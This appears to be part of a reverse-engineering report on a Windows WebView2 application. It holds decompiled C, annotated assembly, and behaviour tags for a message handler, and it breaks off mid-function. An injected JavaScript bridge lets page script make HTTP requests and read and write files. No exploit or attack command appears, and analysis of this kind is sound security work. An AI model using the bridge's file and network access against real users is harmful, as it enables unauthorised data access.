    LStack_3c = local_38[0].bottom;
    pLVar5 = &local_48;
    (**(code **)(*param_3 + 0x30))(param_3);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,pLVar5,pplVar6,param_4);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f258;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    uVar7 = 0;
    (**(code **)(lVar8 + 0x110))(plVar1);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,puVar4,uVar7,lVar8);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f300;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    uVar7 = 0;
    (**(code **)(lVar8 + 0x38))(plVar1);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,puVar4,uVar7,lVar8);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f3a8;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    (**(code **)(lVar8 + 0x78))(plVar1,puVar4);
    uVar7 = 0;
    (**(code **)(*DAT_1400c9460 + 0xd8))
              (DAT_1400c9460,
               L"\n(() => {\n  if (window.steamm) return;\n  const wv = () => (window.chrome && window.chrome.webview) ? window.chrome.webview : null;\n  const pending = new Map();\n  const listeners = {};\n  let nextId = 1;\n\n  const hook = () => {\n    const b = wv();\n    if (!b || b.__steammHooked) return;\n    b.__steammHooked = true;\n    b.addEventListener(\'message\', e => {\n      const m = e.data;\n      if (!m || typeof m !== \'object\') return;\n      if (m.id !== undefined && pending.has(m.id)) {\n        const p = pending.get(m.id);\n        pending.delete(m.id);\n        m.ok ? p.res(m.result) : p.rej(new Error(m.error || \'bridge error\'));\n      } else if (m.event) {\n        (listeners[m.event] || []).forEach(f => { try { f(m.data); } catch (_) {} });\n      }\n    });\n  };\n  hook();\n\n  window.steamm = {\n    invoke(method, params) {\n      return new Promise((res, rej) => {\n        const b = wv();\n        if (!b) return rej(new Error(\'bridge unavailable\'));\n        hook();\n        const id = nextId++;\n        pending.set(id, { res, rej });\n        b.postMessage({ id, method, params: params || {} });\n      });\n    },\n    win: {\n      minimize() { return window.steamm.invoke(\'win.min\'); },\n      close() { return window.steamm.invoke(\'win.close\'); },\n      drag() { return window.steamm.invoke(\'win.drag\'); },\n      resize(edge) { return window.steamm.invoke(\'win.resize\', { edge }); }\n    },\n    http(url, opts) {\n      opts = opts || {};\n      return window.steamm.invoke(\'http.request\', {\n        url, method: opts.method || \'GET\', headers: opts.headers || {},\n        body: opts.body == null ? null : String(opts.body)\n      });\n    },\n    httpJson(url, opts) {\n      return window.steamm.http(url, opts).then(r => {\n        let json = null;\n        try { json = JSON.parse(r.body); } catch (_) {}\n        return { status: r.status, json, body: r.body };\n      });\n    },\n    readText(path) { return window.steamm.invoke(\'fs.readText\', { path }).then(r => r.text); },\n    writeText(path, text) { return window.steamm.invoke(\'fs.writeText\', { path, text:..." /* TRUNCATED STRING LITERAL */
              );
    local_98 = _DAT_14009b1c0;
    uStack_90 = _UNK_14009b1c8;
    local_88 = _DAT_14009b1d0;
    uStack_80 = _UNK_14009b1d8;
    local_78 = _DAT_14009b1e0;
    uStack_70 = _UNK_14009b1e8;
    local_68 = _DAT_14009b1f0;
    uStack_64 = _UNK_14009b1f4;
    uStack_60 = _UNK_14009b1f8;
    uStack_5c = _UNK_14009b1fc;
    local_58 = 0x74006e;
    local_54 = 0;
    pplVar6 = &local_98;
    (**(code **)(*DAT_1400c9460 + 0x28))();
    if (DAT_1400c9460 != (longlong *)0x0) {
      BVar3 = IsZoomed(DAT_1400c9450);
      _Src = L"{\"event\":\"winstate\",\"data\":\"maximized\"}";
      if (BVar3 == 0) {
        _Src = L"{\"event\":\"winstate\",\"data\":\"normal\"}";
      }
      _Dst = (void *)FUN_14001f800(0x50,pplVar6,uVar7,lVar8);
      _Size = (ulonglong)((uint)(BVar3 != 0) * 6 + 0x48);
      memcpy(_Dst,_Src,_Size);
      *(undefined2 *)((longlong)_Dst + _Size) = 0;
      (**(code **)(*DAT_1400c9460 + 0x100))(DAT_1400c9460,_Dst);
      FUN_14001f8e0(_Dst);
    }
  }
  return 0;
}

Assembly · 198 instructions, 9 annotated
AddressBytesInstructionComment
1400056b056PUSH RSI
1400056b157PUSH RDI
1400056b253PUSH RBX
1400056b348 81 ec b0 00 00 00SUB RSP,0xb0
1400056ba0f 29 b4 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_28[0]],XMM6
1400056c285 d2TEST EDX,EDX
1400056c40f 98 c0SETS AL
1400056c74d 85 c0TEST R8,R8
1400056ca0f 94 c1SETZ CL
1400056cd08 c1OR CL,AL
1400056cf0f 85 04 03 00 00JNZ LAB_1400059d9
1400056d54c 89 c6MOV RSI,R8
1400056d84c 89 05 79 3d 0c 00MOV qword ptr [DAT_1400c9458],R8
1400056df49 8b 00MOV RAX,qword ptr [R8]
1400056e24c 89 c1MOV RCX,R8
1400056e5ff 50 08CALL qword ptr [RAX + 0x8]
1400056e848 8b 06MOV RAX,qword ptr [RSI]
1400056eb48 8d 15 6e 3d 0c 00LEA RDX,[DAT_1400c9460]
1400056f248 89 f1MOV RCX,RSI
1400056f5ff 90 c8 00 00 00CALL qword ptr [RAX + 0xc8]
1400056fb48 8b 06MOV RAX,qword ptr [RSI]
1400056fe48 89 f1MOV RCX,RSI
14000570131 d2XOR EDX,EDX
140005703ff 50 20CALL qword ptr [RAX + 0x20]
14000570648 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_a0],0x0
14000570f48 8b 06MOV RAX,qword ptr [RSI]
14000571248 8d 15 bb 8c 09 00LEA RDX,[DAT_14009e3d4]
1400057194c 8d 44 24 28LEA R8,[RSP + 0x28]
14000571e48 89 f1MOV RCX,RSI
140005721ff 10CALL qword ptr [RAX]
14000572385 c0TEST EAX,EAX
1400057250f 99 c0SETNS AL
14000572848 8b 4c 24 28MOV RCX,qword ptr [RSP + local_a0]
14000572d48 85 c9TEST RCX,RCX
1400057300f 95 c2SETNZ DL
14000573320 c2AND DL,AL
14000573580 fa 01CMP DL,0x1
14000573875 19JNZ LAB_140005753
14000573a48 8b 01MOV RAX,qword ptr [RCX]
14000573dba ff 1b 1b 1fMOV EDX,0x1f1b1bff
140005742ff 90 d8 00 00 00CALL qword ptr [RAX + 0xd8]
14000574848 8b 4c 24 28MOV RCX,qword ptr [RSP + local_a0]
14000574d48 8b 01MOV RAX,qword ptr [RCX]
140005750ff 50 10CALL qword ptr [RAX + 0x10]
LAB_140005753:
14000575348 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + local_a8],0x0
14000575c48 8b 0d fd 3c 0c 00MOV RCX,qword ptr [DAT_1400c9460]
14000576348 8b 01MOV RAX,qword ptr [RCX]
14000576648 8d 54 24 20LEA RDX,[RSP + 0x20]
14000576bff 50 18CALL qword ptr [RAX + 0x18]
14000576e85 c0TEST EAX,EAX
1400057700f 99 c0SETNS AL
14000577348 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
14000577848 85 c9TEST RCX,RCX
14000577b0f 95 c2SETNZ DL
14000577e20 c2AND DL,AL
14000578080 fa 01CMP DL,0x1
1400057830f 85 96 00 00 00JNZ LAB_14000581f
14000578948 8b 01MOV RAX,qword ptr [RCX]
14000578c31 d2XOR EDX,EDX
14000578eff 50 70CALL qword ptr [RAX + 0x70]
14000579148 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
14000579648 8b 01MOV RAX,qword ptr [RCX]
14000579931 d2XOR EDX,EDX
14000579bff 50 40CALL qword ptr [RAX + 0x40]
14000579e48 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
1400057a348 8b 01MOV RAX,qword ptr [RCX]
1400057a631 d2XOR EDX,EDX
1400057a8ff 50 50CALL qword ptr [RAX + 0x50]
1400057ab48 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
1400057b048 8b 01MOV RAX,qword ptr [RCX]
1400057b331 d2XOR EDX,EDX
1400057b5ff 50 60CALL qword ptr [RAX + 0x60]
1400057b848 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
1400057bd48 8b 01MOV RAX,qword ptr [RCX]
1400057c031 d2XOR EDX,EDX
1400057c2ff 90 90 00 00 00CALL qword ptr [RAX + 0x90]
1400057c848 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + local_98[0]],0x0
1400057d148 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
1400057d648 8b 01MOV RAX,qword ptr [RCX]
1400057d948 8d 15 54 9a 09 00LEA RDX,[DAT_14009f234]
1400057e04c 8d 44 24 30LEA R8,[RSP + 0x30]
1400057e5ff 10CALL qword ptr [RAX]
1400057e785 c0TEST EAX,EAX
1400057e90f 99 c0SETNS AL
1400057ec48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98[0]]
1400057f148 85 c9TEST RCX,RCX
1400057f40f 95 c2SETNZ DL
1400057f720 c2AND DL,AL
1400057f980 fa 01CMP DL,0x1
1400057fc75 16JNZ LAB_140005814
1400057fe48 8b 01MOV RAX,qword ptr [RCX]
14000580131 d2XOR EDX,EDX
140005803ff 90 20 01 00 00CALL qword ptr [RAX + 0x120]
14000580948 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98[0]]
14000580e48 8b 01MOV RAX,qword ptr [RCX]
140005811ff 50 10CALL qword ptr [RAX + 0x10]
LAB_140005814:
14000581448 8b 4c 24 20MOV RCX,qword ptr [RSP + local_a8]
14000581948 8b 01MOV RAX,qword ptr [RCX]
14000581cff 50 10CALL qword ptr [RAX + 0x10]
LAB_14000581f:
14000581f48 8b 0d 2a 3c 0c 00MOV RCX,qword ptr [DAT_1400c9450]
14000582648 8d 94 24 90 00 00 00LEA RDX,[RSP + 0x90]
14000582eff 15 f4 ca 0a 00CALL qword ptr [PTR_GetClientRect_1400b2328]
1400058340f 10 84 24 90 00 00 00MOVUPS XMM0,xmmword ptr [RSP + local_38[0]]
14000583c0f 29 84 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_48[0]],XMM0
14000584448 8b 06MOV RAX,qword ptr [RSI]
14000584748 8d 94 24 80 00 00 00LEA RDX,[RSP + 0x80]
14000584f48 89 f1MOV RCX,RSI
140005852ff 50 30CALL qword ptr [RAX + 0x30]
14000585548 8b 35 04 3c 0c 00MOV RSI,qword ptr [DAT_1400c9460]
14000585cb9 10 00 00 00MOV ECX,0x10
140005861e8 9a 9f 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400058660f 57 f6XORPS XMM6,XMM6
1400058690f 29 30MOVAPS xmmword ptr [RAX],XMM6
14000586c48 8d 0d e5 99 09 00LEA RCX,[PTR_LAB_14009f258]
14000587348 89 08MOV qword ptr [RAX],RCX
140005876c7 40 08 01 00 00 00MOV dword ptr [RAX + 0x8],0x1
14000587d4c 8b 0eMOV R9,qword ptr [RSI]
14000588048 89 f1MOV RCX,RSI
14000588348 89 c2MOV RDX,RAX
14000588645 31 c0XOR R8D,R8D
14000588941 ff 91 10 01 00 00CALL qword ptr [R9 + 0x110]
14000589048 8b 35 c9 3b 0c 00MOV RSI,qword ptr [DAT_1400c9460]
140005897b9 10 00 00 00MOV ECX,0x10
14000589ce8 5f 9f 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400058a10f 29 30MOVAPS xmmword ptr [RAX],XMM6
1400058a448 8d 0d 55 9a 09 00LEA RCX,[PTR_LAB_14009f300]
1400058ab48 89 08MOV qword ptr [RAX],RCX
1400058aec7 40 08 01 00 00 00MOV dword ptr [RAX + 0x8],0x1
1400058b54c 8b 0eMOV R9,qword ptr [RSI]
1400058b848 89 f1MOV RCX,RSI
1400058bb48 89 c2MOV RDX,RAX
1400058be45 31 c0XOR R8D,R8D
1400058c141 ff 51 38CALL qword ptr [R9 + 0x38]
1400058c548 8b 35 94 3b 0c 00MOV RSI,qword ptr [DAT_1400c9460]
1400058ccb9 10 00 00 00MOV ECX,0x10
1400058d1e8 2a 9f 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400058d60f 29 30MOVAPS xmmword ptr [RAX],XMM6
1400058d948 8d 0d c8 9a 09 00LEA RCX,[PTR_LAB_14009f3a8]
1400058e048 89 08MOV qword ptr [RAX],RCX
1400058e3c7 40 08 01 00 00 00MOV dword ptr [RAX + 0x8],0x1
1400058ea4c 8b 0eMOV R9,qword ptr [RSI]
1400058ed48 89 f1MOV RCX,RSI
1400058f048 89 c2MOV RDX,RAX
1400058f345 31 c0XOR R8D,R8D
1400058f641 ff 51 78CALL qword ptr [R9 + 0x78]
1400058fa48 8b 0d 5f 3b 0c 00MOV RCX,qword ptr [DAT_1400c9460]
14000590148 8b 01MOV RAX,qword ptr [RCX]
14000590448 8d 15 35 63 09 00LEA RDX,[u_(()_=>_{_if_(window.steamm)_retu_14009bc40]; "\n(() => {\n if (window.steamm) return;\n const wv = () => (window.chrome && wind…"
14000590b45 31 c0XOR R8D,R8D
14000590eff 90 d8 00 00 00CALL qword ptr [RAX + 0xd8]
1400059140f 28 05 a5 58 09 00MOVAPS XMM0,xmmword ptr [DAT_14009b1c0]
14000591b0f 29 44 24 30MOVAPS xmmword ptr [RSP + local_98[0]],XMM0
1400059200f 28 05 a9 58 09 00MOVAPS XMM0,xmmword ptr [DAT_14009b1d0]
1400059270f 29 44 24 40MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
14000592c0f 28 05 ad 58 09 00MOVAPS XMM0,xmmword ptr [DAT_14009b1e0]
1400059330f 29 44 24 50MOVAPS xmmword ptr [RSP + local_78[0]],XMM0
1400059380f 28 05 b1 58 09 00MOVAPS XMM0,xmmword ptr [DAT_14009b1f0]
14000593f0f 29 44 24 60MOVAPS xmmword ptr [RSP + local_68[0]],XMM0
140005944c7 44 24 70 6e 00 74 00MOV dword ptr [RSP + local_58],0x74006e
14000594c66 c7 44 24 74 00 00MOV word ptr [RSP + local_54],0x0
14000595348 8b 0d 06 3b 0c 00MOV RCX,qword ptr [DAT_1400c9460]
14000595a48 8b 01MOV RAX,qword ptr [RCX]
14000595d48 8d 54 24 30LEA RDX,[RSP + 0x30]
140005962ff 50 28CALL qword ptr [RAX + 0x28]
14000596548 83 3d f3 3a 0c 00 00CMP qword ptr [DAT_1400c9460],0x0
14000596d74 6aJZ LAB_1400059d9
14000596f48 8b 0d da 3a 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140005976ff 15 d4 c9 0a 00CALL qword ptr [PTR_IsZoomed_1400b2350]
14000597c31 dbXOR EBX,EBX
14000597e85 c0TEST EAX,EAX
1400059800f 95 c3SETNZ BL
14000598348 8d 05 4e 83 09 00LEA RAX,[u_{"event":"winstate","data":"norm_14009dcd8]; "{\"event\":\"winstate\",\"data\":\"normal\"}"
14000598a48 8d 3d f7 82 09 00LEA RDI,[u_{"event":"winstate","data":"maxi_14009dc88]; "{\"event\":\"winstate\",\"data\":\"maximized\"}"
14000599148 0f 44 f8CMOVZ RDI,RAX
14000599501 dbADD EBX,EBX
140005997b9 50 00 00 00MOV ECX,0x50
14000599ce8 5f 9e 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400059a148 89 c6MOV RSI,RAX
1400059a48d 1c 5bLEA EBX,[RBX + RBX*0x2]
1400059a783 c3 48ADD EBX,0x48
1400059aa48 89 c1MOV RCX,RAX
1400059ad48 89 faMOV RDX,RDI; "{\"event\":\"winstate\",\"data\":\"normal\"}"
1400059b049 89 d8MOV R8,RBX
1400059b3e8 78 48 09 00CALL memcpy
1400059b866 c7 04 1e 00 00MOV word ptr [RSI + RBX*0x1],0x0
1400059be48 8b 0d 9b 3a 0c 00MOV RCX,qword ptr [DAT_1400c9460]
1400059c548 8b 01MOV RAX,qword ptr [RCX]
1400059c848 89 f2MOV RDX,RSI
1400059cbff 90 00 01 00 00CALL qword ptr [RAX + 0x100]
1400059d148 89 f1MOV RCX,RSI
1400059d4e8 07 9f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400059d9:
1400059d931 c0XOR EAX,EAX
1400059db0f 28 b4 24 a0 00 00 00MOVAPS XMM6,xmmword ptr [RSP + local_28[0]]
1400059e348 81 c4 b0 00 00 00ADD RSP,0xb0
1400059ea5bPOP RBX
1400059eb5fPOP RDI
1400059ec5ePOP RSI
1400059edc3RET

ui_thread_handler

0x140005a906076 bytes
undefined8 ui_thread_handler(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes

Cited as
E8
Behaviours
B4, B10
Called from
none found
Calls
CoTaskMemFree GetCursorPos PostMessageW ReleaseCapture SendMessageW ShowWindow CloseHandle CreateThread json_response_builder, FUN_140002e30, FUN_140002f80, edge_handler, file_reader, file_writer, url_launcher, FUN_1400049f0, FUN_140004fa0, json_parser, FUN_140007cb0, FUN_140007d10, FUN_140008880, FUN_1400088a0, FUN_140008c00, FUN_140008de0, FUN_140010580
Decompiled C · 1105 lines
/* WARNING: Type propagation algorithm not settling */

undefined8
ui_thread_handler(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  byte *pbVar2;
  ulonglong uVar3;
  LONG LVar4;
  undefined1 *puVar5;
  void *pvVar6;
  wchar_t *_Src;
  int iVar7;
  size_t sVar8;
  short *psVar9;
  ulonglong uVar10;
  LONG *pLVar11;
  longlong *plVar12;
  ulonglong uVar13;
  tagPOINT *ptVar14;
  void *pvVar15;
  undefined8 uVar16;
  ulonglong *puVar17;
  tagPOINT *ptVar18;
  ulonglong *puVar19;
  HANDLE hObject;
  wchar_t *pwVar20;
  tagPOINT *ptVar21;
  int *piVar22;
  wchar_t **ppwVar23;
  longlong *plVar24;
  byte *pbVar25;
  ulonglong uVar26;
  int *piVar27;
  ulonglong *puVar28;
  uint *puVar29;
  tagPOINT tVar30;
  tagPOINT *ptVar31;
  char **in_R8;
  longlong *plVar32;
  tagPOINT *ptVar33;
  ushort *puVar34;
  ulonglong *puVar35;
  tagPOINT tVar36;
  tagPOINT *in_R9;
  ulonglong *puVar37;
  longlong lVar38;
  tagPOINT local_268;
  tagPOINT tStack_260;
  tagPOINT tStack_258;
  tagPOINT tStack_250;
  tagPOINT tStack_248;
  void *local_240;
  undefined8 uStack_238;
  undefined8 local_230;
  void *pvStack_228;
  void *local_220;
  undefined8 uStack_218;
  byte local_210 [2];
  undefined1 local_20e [6];
  undefined1 local_208 [4];
  undefined1 auStack_204 [12];
  tagPOINT local_1f8;
  tagPOINT tStack_1f0;
  tagPOINT local_1e8;
  byte local_1e0;
  undefined1 local_1df [15];
  ulonglong *local_1d0;
  undefined8 local_1c8;
  undefined1 uStack_1c0;
  undefined4 uStack_1bf;
  undefined1 uStack_1bb;
  undefined1 uStack_1ba;
  undefined1 uStack_1b9;
  void *pvStack_1b8;
  undefined8 local_1b0;
  void *pvStack_1a8;
  void *local_1a0;
  undefined8 uStack_198;
  undefined8 local_190;
  void *pvStack_188;
  void *local_180;
  undefined8 uStack_178;
  byte local_168;
  undefined1 local_167;
  undefined1 local_166 [6];
  ulonglong local_160;
  undefined1 *local_158;
  undefined8 local_150;
  size_t local_148;
  short *local_140;
  undefined8 local_138;
  ulonglong local_130;
  void *local_128;
  tagPOINT local_120;
  undefined8 local_118;
  ulonglong uStack_110;
  undefined8 local_108;
  void *pvStack_100;
  void *local_f8;
  undefined8 uStack_f0;
  undefined8 local_e8;
  longlong *plStack_e0;
  longlong *local_d8;
  undefined1 *puStack_d0;
  wchar_t *local_c8;
  byte local_c0;
  undefined4 local_bf;
  undefined2 local_bb;
  undefined1 local_b9;
  void *local_b0;
  byte local_a8;
  undefined1 local_a7 [15];
  undefined1 *local_98;
  undefined1 *local_90 [2];
  void *local_80;
  ushort local_78 [8];
  void *local_68;
  undefined1 *local_60 [4];
  
  local_c8 = (wchar_t *)0x0;
  ppwVar23 = &local_c8;
  iVar7 = (**(code **)(*in_R8 + 0x20))();
  _Src = local_c8;
  if (local_c8 == (wchar_t *)0x0 || iVar7 < 0) {
    return 0;
  }
  pwVar20 = local_c8;
  sVar8 = wcslen(local_c8);
  if (0x7ffffffffffffff5 < sVar8) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(pwVar20,ppwVar23,in_R8,in_R9);
  }
  if (sVar8 < 0xb) {
    local_150 = CONCAT71(local_150._1_7_,(char)sVar8 * '\x02');
    psVar9 = (short *)((longlong)&local_150 + 2);
    if (sVar8 != 0) goto LAB_140005b63;
  }
  else {
    lVar38 = 0xe;
    if ((sVar8 | 3) != 0xb) {
      lVar38 = (sVar8 | 3) + 1;
    }
    psVar9 = (short *)FUN_14001f800(lVar38 * 2,ppwVar23,in_R8,in_R9);
    local_150 = lVar38 + 1;
    local_148 = sVar8;
    local_140 = psVar9;
LAB_140005b63:
    in_R8 = (char **)(sVar8 * 2);
    memmove(psVar9,_Src,(size_t)in_R8);
  }
  psVar9[sVar8] = 0;
  CoTaskMemFree(local_c8);
  if ((local_150 & 1) == 0) {
    if ((byte)local_150 >> 1 != 0) goto LAB_140005bac;
LAB_140005bfc:
    FUN_140002f80(&local_168,(byte *)&local_150);
    local_90[0] = local_158;
    if ((local_168 & 1) == 0) {
      local_90[0] = &local_167;
    }
    local_1c8._0_1_ = 0;
    local_1c8._1_1_ = 0;
    local_1c8._2_2_ = 0;
    uStack_1c0 = 0;
    uStack_1bf = 0;
    uStack_1bb = 0;
    uStack_1ba = 0;
    uStack_1b9 = 0;
    pvStack_1b8 = (void *)0x0;
    local_1b0 = 0;
    pvStack_1a8 = (void *)0x0;
    local_1a0 = (void *)0x0;
    uStack_198 = 0;
    local_190 = 0;
    pvStack_188 = (void *)0x0;
    local_180 = (void *)0x0;
    uStack_178 = 0;
    uVar10 = json_parser((longlong *)local_90,(undefined4 *)&local_1c8,in_R8,(ulonglong)in_R9);
    if (((byte)uVar10 & CONCAT22(local_1c8._2_2_,CONCAT11(local_1c8._1_1_,(byte)local_1c8)) == 4) ==
        1) {
      FUN_140002e30(local_210,(byte *)&pvStack_1b8);
      if ((local_210[0] & 1) == 0) {
        _local_208 = (ulonglong)(local_210[0] >> 1);
        if (_local_208 == 3) goto LAB_140005db0;
LAB_140005ccc:
        uVar10 = _local_208;
        if (_local_208 == 5) {
          ptVar31 = (tagPOINT *)local_20e;
          if ((local_210[0] & 1) != 0) {
            ptVar31 = (tagPOINT *)auStack_204._4_8_;
          }
          if ((short)ptVar31->x == 99) {
            pLVar11 = (LONG *)local_20e;
            if ((local_210[0] & 1) != 0) {
              pLVar11 = (LONG *)auStack_204._4_8_;
            }
            in_R9 = (tagPOINT *)((longlong)pLVar11 + 2);
            if ((short)in_R9->x == 0x6c) {
              in_R9 = (tagPOINT *)(local_20e + 4);
              if ((local_210[0] & 1) != 0) {
                in_R9 = (tagPOINT *)(auStack_204._4_8_ + 4);
              }
              if ((short)in_R9->x == 0x6f) {
                psVar9 = (short *)((longlong)(auStack_204._4_8_ + 4) + 2);
                if ((local_210[0] & 1) == 0) {
                  psVar9 = (short *)local_208;
                }
                if (*psVar9 == 0x73) {
                  ptVar18 = (tagPOINT *)(local_208 + 2);
                  if ((local_210[0] & 1) != 0) {
                    ptVar18 = (tagPOINT *)(auStack_204._4_8_ + 8);
                  }
                  if ((short)ptVar18->x == 0x65) {
                    PostMessageW(DAT_1400c9450,0x10,0,0);
                    goto LAB_140006466;
                  }
                }
              }
            }
          }
          ptVar33 = (tagPOINT *)((longlong)&((tagPOINT *)(auStack_204._4_8_ + 8))->x + 2);
          ptVar18 = ptVar31;
          ptVar14 = (tagPOINT *)auStack_204;
          ptVar21 = (tagPOINT *)auStack_204;
          if ((local_210[0] & 1) != 0) {
            ptVar14 = ptVar33;
            ptVar21 = ptVar33;
          }
        }
        else if (_local_208 == 4) {
          ptVar31 = (tagPOINT *)local_20e;
          if ((local_210[0] & 1) != 0) {
            ptVar31 = (tagPOINT *)auStack_204._4_8_;
          }
          if ((short)ptVar31->x == 100) {
            pLVar11 = (LONG *)local_20e;
            if ((local_210[0] & 1) != 0) {
              pLVar11 = (LONG *)auStack_204._4_8_;
            }
            in_R9 = (tagPOINT *)((longlong)pLVar11 + 2);
            if ((short)in_R9->x == 0x72) {
              in_R9 = (tagPOINT *)(local_20e + 4);
              if ((local_210[0] & 1) != 0) {
                in_R9 = (tagPOINT *)(auStack_204._4_8_ + 4);
              }
              if ((short)in_R9->x == 0x61) {
                psVar9 = (short *)((longlong)(auStack_204._4_8_ + 4) + 2);
                if ((local_210[0] & 1) == 0) {
                  psVar9 = (short *)local_208;
                }
                if (*psVar9 == 0x67) {
                  GetCursorPos(&local_120);
                  ReleaseCapture();
                  SendMessageW(DAT_1400c9450,0xa1,2,
                               (ulonglong)(local_120.y << 0x10 | local_120.x & 0xffffU));
                  goto LAB_140006466;
                }
              }
            }
          }
LAB_140005f17:
          ptVar14 = (tagPOINT *)((longlong)&ptVar31->x + _local_208 * 2);
          ptVar18 = ptVar31;
          uVar10 = _local_208;
          ptVar21 = ptVar14;
        }
        else {
          ptVar31 = (tagPOINT *)auStack_204._4_8_;
          if ((local_210[0] & 1) == 0) {
            ptVar31 = (tagPOINT *)local_20e;
          }
          uVar13 = 7;
          if (_local_208 < 7) {
            uVar13 = _local_208;
          }
          if (_local_208 == 0) goto LAB_140006466;
          ptVar14 = (tagPOINT *)((longlong)&ptVar31->x + (uVar13 & 0xffffffff) * 2);
          ptVar18 = ptVar31;
          ptVar21 = ptVar14;
        }
        do {
          while (ptVar33 = ptVar18, ptVar18 = (tagPOINT *)((longlong)&ptVar33->x + 2),
                (short)ptVar33->x == 0x72) {
            if (ptVar18 == ptVar14) goto LAB_14000612c;
            if ((short)ptVar18->x == 0x65) {
              in_R9 = (tagPOINT *)&ptVar33->y;
              if (in_R9 == ptVar14) goto LAB_14000612c;
              if ((short)*(LONG *)in_R9 == 0x73) {
                in_R9 = (tagPOINT *)((longlong)&ptVar33->y + 2);
                if (in_R9 == ptVar14) goto LAB_14000612c;
                if ((short)in_R9->x == 0x69) {
                  in_R9 = ptVar33 + 1;
                  if (in_R9 == ptVar14) goto LAB_14000612c;
                  if ((short)in_R9->x == 0x7a) {
                    in_R9 = (tagPOINT *)((longlong)&ptVar33[1].x + 2);
                    if (in_R9 == ptVar14) goto LAB_14000612c;
                    if ((short)in_R9->x == 0x65) {
                      ptVar18 = (tagPOINT *)&ptVar33[1].y;
                      if (ptVar18 == ptVar14) goto LAB_14000612c;
                      ptVar18 = (tagPOINT *)((longlong)&ptVar33->x + 2);
                      if ((short)ptVar33[1].y == 0x3a) {
                        ptVar21 = ptVar33;
                      }
                    }
                  }
                }
              }
            }
          }
          ptVar33 = ptVar18;
        } while (ptVar18 != ptVar14);
LAB_14000612c:
        if ((ptVar21 != ptVar14) && (ptVar21 == ptVar31)) {
          local_d8 = (longlong *)0x0;
          puStack_d0 = (undefined1 *)0x0;
          local_e8 = 0;
          plStack_e0 = (longlong *)0x0;
          local_f8 = (void *)0x0;
          uStack_f0 = 0;
          local_108 = 0;
          pvStack_100 = (void *)0x0;
          local_118 = 0;
          uStack_110 = 0;
          local_120.x = 6;
          local_220 = (void *)0x0;
          uStack_218 = 0;
          local_230 = 0;
          pvStack_228 = (void *)0x0;
          local_240 = (void *)0x0;
          uStack_238 = 0;
          tStack_250.x = 0;
          tStack_250.y = 0;
          tStack_248 = (tagPOINT)0x0;
          tStack_260.x = 0;
          tStack_260.y = 0;
          tStack_258.x = 0;
          tStack_258.y = 0;
          local_268.x = 4;
          if (uVar10 < 7) {
                    /* WARNING: Subroutine does not return */
            FUN_140008880(ptVar21,ptVar18,ptVar33,in_R9);
          }
          uVar13 = uVar10 - 7;
          if (0x7ffffffffffffff5 < uVar13) {
                    /* WARNING: Subroutine does not return */
            FUN_1400049f0(ptVar21,ptVar18,ptVar33,in_R9);
          }
          if (uVar13 < 0xb) {
            local_138 = CONCAT71(local_138._1_7_,(char)uVar13 * '\x02');
            pvVar15 = (void *)((longlong)&local_138 + 2);
            if (uVar13 != 0) goto LAB_14000620c;
          }
          else {
            uVar26 = 0xe;
            if ((uVar13 | 3) != 0xb) {
              uVar26 = (uVar13 | 3) + 1;
            }
            pvVar15 = (void *)FUN_14001f800(uVar26 * 2,ptVar18,ptVar33,in_R9);
            local_138 = uVar26 | 1;
            local_130 = uVar13;
            local_128 = pvVar15;
LAB_14000620c:
            ptVar33 = (tagPOINT *)(uVar13 * 2);
            memmove(pvVar15,(void *)((longlong)&ptVar31[1].y + 2),(size_t)ptVar33);
          }
          *(undefined2 *)((longlong)pvVar15 + uVar10 * 2 + -0xe) = 0;
          pbVar25 = (byte *)&local_138;
          FUN_140002f80((byte *)&local_1f8,pbVar25);
          if (((ulonglong)tStack_258 & 1) != 0) {
            FUN_14001f8e0((void *)tStack_248);
          }
          tStack_248 = local_1e8;
          tStack_258 = local_1f8;
          tStack_250 = tStack_1f0;
          local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
          if ((local_138 & 1) != 0) {
            FUN_14001f8e0(local_128);
          }
          if (local_d8 < puStack_d0) {
            *(undefined1 *)local_d8 = 8;
            *(undefined4 *)((longlong)local_d8 + 1) = 0x65676465;
            *(undefined1 *)((longlong)local_d8 + 5) = 0;
            *(tagPOINT *)((longlong)local_d8 + 0x18) = local_268;
            *(tagPOINT *)((longlong)local_d8 + 0x20) = tStack_260;
            *(tagPOINT *)((longlong)local_d8 + 0x38) = tStack_248;
            *(tagPOINT *)((longlong)local_d8 + 0x28) = tStack_258;
